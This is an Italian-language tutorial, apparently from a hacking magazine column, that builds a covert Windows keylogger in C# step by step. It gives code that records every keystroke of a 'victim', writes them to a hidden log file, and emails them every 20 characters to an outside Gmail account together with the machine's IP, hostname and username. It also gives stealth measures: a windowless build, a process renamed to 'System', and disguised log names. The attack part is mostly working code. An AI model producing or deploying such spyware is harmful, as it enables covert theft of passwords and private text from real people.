A cura di Vincenzo Digilio – Cyber Security Specialist

Keylogger “Undetectable”

 Capitolo II -Dura Veritas Sed Veritas

 

Ricordo che durante la lettura del secondo capitolo fui particolarmente colpito dalla metafora con cui l’autore descrive la nostra società. In particolare, quando si riferisce al tema della salvaguardia dell’identità scrive: “…in alcune tribù la rinuncia all’identità è una difesa contro l’annientamento”. Per un hacker nascondersi e cambiare identità diviene una necessità al fine di non essere identificato; ma d’altro canto perdere la propria identità come individui vuol dire anche smarrire sé stessi o, in certi casi, “barattare elementi di sé” pur di far parte di qualcosa. Pensate a quante volte rinunciamo a noi stessi per compiacere qualcuno, oppure fingiamo di avere gli stessi gusti e idee per omologarci alla massa, per far parte di un gruppo, sia esso virtuale o reale, non importa. Pensate quanto spesso, nella storia dell’evoluzione umana, sia stato pericoloso esprimere la propria autonomia di pensiero, essere contrari alle idee comuni, quante volte la società ci ha imposto di adeguarci al suo pensiero.

Ecco che diventa vitale, non solo per noi ma per tutti, preservare ciò che ci diversifica l’uno dall’altro e difenderlo. L’unione e la cooperazione di queste diversità sono la nostra vera forza.

I keylogger vengono spesso utilizzati per impossessarsi di un frammento dell’identità virtuale di qualcuno. Nel libro, il protagonista li adopera per fare sniffing ed ottenere le credenziali di login dell’amministratore di sistema. Difatti, un keylogger permette di intercettare e immagazzinare tutto ciò che viene digitato sulla tastiera. Esistono numerose versioni a pagamento di questi programmi, che supportano diverse funzioni per passare inosservati.
Facendo pratica con C# (C sharp) un linguaggio di programmazione object-oriented, in cui la sintassi e struttura derivano dal C++, Java, Visual Basic e Delphi, ne creeremo uno assieme,

Note: Durante i vari episodi della rubrica, vorrei utilizzare diversi linguaggi di programmazione per scrivere i nostri tool. Ovviamente, per il nostro keylogger potremmo usare anche Python.

Ciò che comunque fa la differenza è comprenderne il funzionamento.

Suddivideremo lo sviluppo del keylogger in sei macro fasi:

  1. Il fulcro del nostro keylogger
  2. Cattura dei tasti premuti dalla nostra vittima
  3. Scrittura del tasto premuto su un file di Log
  4. Invio periodico del contenuto del file di log ad un indirizzo mail esterno
  5. Implementazione di alcune istruzioni e stratagemmi per nascondere il keylogger
  6. Compilazione del programma

Passiamo all’azione.

Per prima cosa, è necessario scaricare il nostro ambiente di sviluppo: Visual Studio (VS), disponibile gratuitamente al seguente indirizzo: https://visualstudio.microsoft.com/it/downloads/
La “Community Edition” è quella che fa al caso nostro, quindi clicchiamo su “Download” ed eseguiamo l’installazione. Una volta terminato il download di tutte le componenti, lanciamo VS e selezioniamo “Create a new project”. Utilizzando la search bar in alto digitiamo “Console” e selezioniamo la voce “Console App(.NET Core)”.

Note: L’ambiente .NET Framework è un ambiente che permette di gestire le applicazioni in esecuzione, fornendo: gestione della memoria, librerie di classi, etc…

Nell’installazione standard la “Console App (.NET Core)” dovrebbe già essere inclusa. Qualora non lo fosse sarà sufficiente cliccare (sempre nella schermata di creazione di un nuovo progetto) sulla voce “Install more tools and feature” e selezionare i componenti aggiuntivi: .NET per C#, Visual Basic, . NET Core, etc… da installare.   

Nella schermata successiva, diamo un nome al progetto e scegliamo la location in cui salvarlo, poi clicchiamo su” Create”.

FASE I – Il fulcro del nostro keylogger

La funzione che rappresenta il fulcro del nostro keylogger è: GetAsyncKeyState

Essa permette di determinare se un tasto è “attivo” o “inattivo” nel momento della sua chiamata.

Nota: Ovviamente esistono diversi altri metodi per raggiungere il nostro obiettivo, questo è uno dei più semplici ed “immediati” per cominciare ed imparare.

Come riportato dalla documentazione ufficiale di Microsoft: https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getasynckeystate , la funzione deriva da una libreria presente in una .dll , chiamata: “User32.dll”

Nota: La DLL è specifica per Windows, quindi il keylogger ha come bersaglio macchine con sistema operativo Windows.

Il nostro primo passo sarà quello di importare la libreria e quindi la .dll che la contiene.

Per poter utilizzare la .dll avremo bisogno di avere accesso a funzioni nidificate all’interno di alcune “classi”, quindi all’inizio del programma dovremo aggiungere:

using System.Runtime.InteropServices;

Quelle che serviranno a noi saranno:

Adesso, possiamo definire la nostra funzione GetAsyncKeyState, utilizzando:

public static extern int GetAsyncKeyState(Int32 i);

 

 

 

 

 

FASE II – Cattura dell’Input da tastiera

while (true)

{

         //Rallentiamo il flusso d’esecuzione per diversi millisecondi

         Thread.Sleep(20);

    

        //Controlliamo lo stato di tutti i tasti

       for (int i = 32; i < 127; i++)

       {

                 //Quando un tasto viene premuto lo stampiamo a video

                int keyState = GetAsyncKeyState(i);

               Console.Write(keyState + “, “);

       }

 

 

}

 

  • while (true)

La prima cosa necessaria, è creare un loop infinito in modo che il programma sia sempre in stato di running.

  • Sleep(20);

Rallentiamo il flusso mettendo in pausa per diversi millisecondi.

  • for (int i = 32; i < 127; i++)

Il ciclo for ha lo scopo di controllare quando un tasto viene premuto. Notiamo che la variabile i è inizializzata a 32. Questo perché, come potete vedere dalla tabella che segue, da 32 (che rappresenta lo “spazio”) a 127 sono contenuti caratteri speciali, numeri e lettere (maiuscolo e minuscole). In questo modo vengono esclusi tutti gli altri caratteri da 0 a 32, che per ora non ci interessano.

  • int keyState = GetAsyncKeyState(i);

Console.Write(keyState + “, “);

Stampiamo a video il contenuto di keyState e vediamo che cosa otteniamo.

Premendo il tasto con la freccia verde (che ricorda “play”) sulla barra in alto, possiamo avviare il programma:

Ciò che otterremo a video è una serie di zeri (0). Questo significa che quando nessun tasto viene premuto il valore di keyState è 0.

  • int keyState = GetAsyncKeyState(i);

if (keyState != 0) //Se il valore di keyState è diverso da 0

{

Console.Write(keyState + “, “); //allora mostrami il suo valore

}

Proviamo adesso a stampare a video tutto quello che è diverso da 0 e vediamo cosa accade.

La pressione di qualsiasi tasto ci restituisce il valore 32768

  • int keyState = GetAsyncKeyState(i);

if (keyState == 32768)

{

Console.Write(i + “, “);

}

Quindi se quando otteniamo il valore 32768 stampiamo il contenuto della variabile i, ciò che dovremmo ottenere è il codice ASCII della lettera corrispondente:

A questo punto, non ci resta che convertire il valore esadecimale usando la funzione char:

 

  • int keyState = GetAsyncKeyState(i);

if (keyState == 32768)

{

Console.Write((char)i + “, “);

}

Questa volta ci siamo: il risultato è esattamente il nostro input da tastiera.

 

 

Fase III – Scrittura sul file di log

 

Andremo ad inserire questa parte dopo il “main” del nostro codice.

Nota: Il main rappresenta il corpo principale del programma.

Il primo passo, in questa fase, sarà quello di creare il file di testo dove andremo ad inserire tutte le battiture da tastiera della nostra vittima.

  • String filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);

Creiamo una variabile chiamata filepath. A filepath assegniamo un folder, comunemente già presente sulla maggior parte delle macchine Windows, ad esempio MyDocuments.

 

  • if (!Directory.Exists(filepath))

{

Directory.CreateDirectory(filepath);

}

Nell’ipotesi che la Directory non esista, può essere creata.

  • string path = (filepath + @”\txt“);
  • using (StreamWriter sw = File.AppendText(path))

{

sw.Write((char) i);

}

Creiamo il file di log all’interno della directory e lo chiamiamo: thefallendreams.txt

  • if (!File.Exists(path))

{

using (StreamWriter sw = File.CreateText(path))

{

}

}

Anche in questo caso, prevediamo l’ipotesi che il file non esista e se la condizione “if” è verificata, lo creiamo.

Il secondo passo di questa terza fase è quello di scrivere sul nostro file di log appena creato (thefallendreams.txt) le battiture della tastiera della vittima.

 

Quindi, torniamo nella parte di codice dove stampavamo a console il risultato dell’input da tastiera (Fase II)

 

  • using (StreamWriter sw = File.AppendText(path))

{

sw.Write((char) i);

}

Apriamo il file di testo e scriviamo il carattere che abbiamo appena sniffato.

A questo punto, salviamo e proviamo a rilanciare il programma. Questa volta, non solo nel terminal appariranno gli input da tastiera, ma ogni digitazione sarà inserita nel file di testo, sotto la cartella MyDocuments con il nome: thefallendreams.txt .

 

Fase IV – Invio del .log file via email

 

Al fine di inviare i log via email, la prima cosa di cui abbiamo bisogno è un indirizzo mail. Ad esempio, poniamo che il nostro fake account mail, adibito a ricevere i log, sia:

hackerjournal@gmail.com Password: FollowTheDream

Torniamo al nostro codice, più precisamente dopo la parentesi graffa che chiude il nostro “main” (per capire a colpo d’occhio di quale parentesi si tratta, vi basterà selezionare la prima parentesi graffa che apre il “main” e VB evidenzierà dove quella stessa parentesi viene chiusa).

Creiamo una nuova struttura

static void SendNewMessage()

{

……..

}

Procediamo digitando al suo interno il codice:

  • String folderName = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);

Come in precedenza, prendiamo la folderName MyDocuments

  • string filePath = folderName + @”\thefallendreams.txt”;

Il nostro filePath, sarà quindi composto dal nome dalla cartella (MyDocuments)  + il nome del file di log (the fallendreams.txt)

  • String logContents = File.ReadAllText(filePath);

Leggiamo il testo completo al suo interno.

Il passo successivo sarà creare la mail

  • DateTime now = DateTime.Now;

string subject = “Email From hacker journal”;

Prendiamo la data è creiamo l’oggetto della mail

  • var host = Dns.GetHostEntry(Dns.GetHostName());

Potrebbe anche essere utile recuperare l’IP della macchina vittima e il suo hostname, non credete?

  • foreach (var address in host.AddressList)

{

emailBody += “Address: ” + address;

}

emailBody += “\nUser: ” + Environment.UserDomainName + “\\” + Environment.UserName;

emailBody += “\nhost :” + host; // Il nome Host

emailBody += “\ntime :” + now.ToString(); //Invia la Data ed il Time

emailBody += logContents;

Creiamo il testo della mail, inserendo tutte le informazioni che potrebbero tornarci utili e che abbiamo precedentemente raccolto: l’account name, il nome host, la data, etc… Senza ovviamente dimenticare il nostro keylogger log: logContents

 

  • SmtpClient client = new SmtpClient(“smtp.gmail.com”, 587);

MailMessage mailMessage = new MailMessage();

mailMessage.From = new MailAddress(“hackerjournal@gmail.com“);

mailMessage.To.Add(“hackerjournal@gmail.com“);

mailMessage.Subject = subject;

client.UseDefaultCredentials = false;

client.EnableSsl = true;

client.Credentials = new System.Net.NetworkCredential(“hackerjournal@gmail.com“,     “Password12345!”);

mailMessage.Body = emailBody;

client.Send(mailMessage);

Ora, non ci rimane altro da fare che inviare la mail.
Nel nostro esempio, gmail utilizza come smtp: smtp.gmail.com e la porta è la 587. La mail sarà inviata da hackerjournal@gmail.com a hackerjournal@gmail.com. Abbiamo bisogno di utilizzare SSL e quindi mettere il parametro a true. E infine, naturalmente, necessitiamo delle credenziali di accesso alla nostra casella email.

Rimane da effettuare una piccola precisazione: ovviamente, non possiamo inviare una mail per ogni carattere digitato. Ipotizziamo quindi di volerne inviare una ogni 20 caratteri digitati dalla vittima. Torniamo alla parte di codice dove immagazziniamo l’input da tastiera sul file di testo ed aggiungiamo l’invio dei caratteri:

  • static long numeroDelleBattiture =0;

Per prima cosa, ci serve una nuova variabile numeroDelleBattiture. Una volta creata, dobbiamo inizializzarla a 0:

  • numeroDelleBattiture++;

//Invia una mail ogni 20 Caratteri che la vittima scrive

if (numeroDelleBattiture % 20 == 0)

{

SendNewMessage();

}

Creiamo un contatore che andiamo ad incrementare: se il numero conteggiato è un multiplo di 20, allora inviamo il messaggio via emai.

Il risultato:

Nota: Qualora Gmail rifiutasse l’invio di email da programmi di terze parti, sarà necessario attivare l’accesso per “le app meno sicure” alla voce “controllo sicurezza”, “Accesso di terze parti”.

 

Fase V – Hide The Keylogger

 

Adesso cerchiamo di rendere il nostro keylogger più difficile da rilevare per la vittima:

 

  1. Il primo inconveniente da affrontare è la finestra del terminale di Windows, che appare quando il programma viene lanciato. Per ovviare a questo problema, portiamoci sul menù a sinistra (“Solution Explorer”) e selezioniamo il nostro progetto “KeyLogger”. Con il tasto destro del mouse scegliamo la voce “proprties”:

Nel menù proprietà, sotto la voce Output Type, selezioniamo “Windows Application”.

 

Da adesso in poi, quando lanceremo il nostro keylogger nessuna finestra comparirà sullo schermo ed il programma sarà invisibile in background.

  1. Scegliere nomi sospetti per il log file su cui memorizzare le battiture (come ad es. “caratteri_catturati.txt” oppure “thefallendreams.txt”), potrebbe allertare la vittima. Una soluzione semplice, ma allo stesso tempo efficace, potrebbe essere quella di rinominare il file dll , ad esempio.

 

  1. Nascondere il file di log potrebbe essere un altro accorgimento molto utile. Per fare ciò è necessario inserire nel momento della creazione del file, il parametro SetAttributes() . Che equivale a cliccare con il tasto destro su di un file, nella scheda generale scegliere l’opzione Hidden.

 

  1. Cambiamo il nome del nostro progetto da “KeyLogger” a “System”. In modo che non sia facilmente riconoscibile fra i processi.

 

Nota: Esistono metodi più ingegnosi e complessi per nascondere un software malevolo, ricorrendo all’utilizzo di strumenti chiamati rootkit. Questo tema va oltre lo scopo di questo articolo, ma potrebbe essere affrontato prossimamente.

 

A questo punti, ci siamo!

Fase VI – Compilazione

Non ci resta che compilare il nostro programma. Per prima cosa salviamo il progetto con un CTRL + S. Scarichiamo il file .exe del programma NuGet, reperibile su: https://www.nuget.org/downloads .
Apriamo un terminale utilizzando Win+R, digitiamo “cmd”.

Portiamoci nella cartella dove abbiamo installato NuGet e digitiamo:

nuget install Microsoft.Net.Compilers

Adesso, non ci rimane che andare nella cartella di Microsfot.Net Compilers\tools e dare il seguente comando:

csc c:\…\keylogger.cs

Dopo qualche secondo, se non sono presenti errori, troveremo il file: keylogger.exe .

 

Nota: Miglioriamo il nostro codice. Vi riporto alcune possibili modifiche al nostro programma, per chi volesse cimentarsi:

●       Per migliorare I/O stream di scrittura sul file, e non aprire il file ogni singola volta in cui viene premuto un tasto, potremmo portare fuori dal ciclo while la sua apertura e scrittura.

●       Oppure potremmo semplicemente eliminare il file di log ed inviare tutto per email, tenendo in memoria le battiture.

●       Prevedere un tempo di “sleep” durante l’invio della email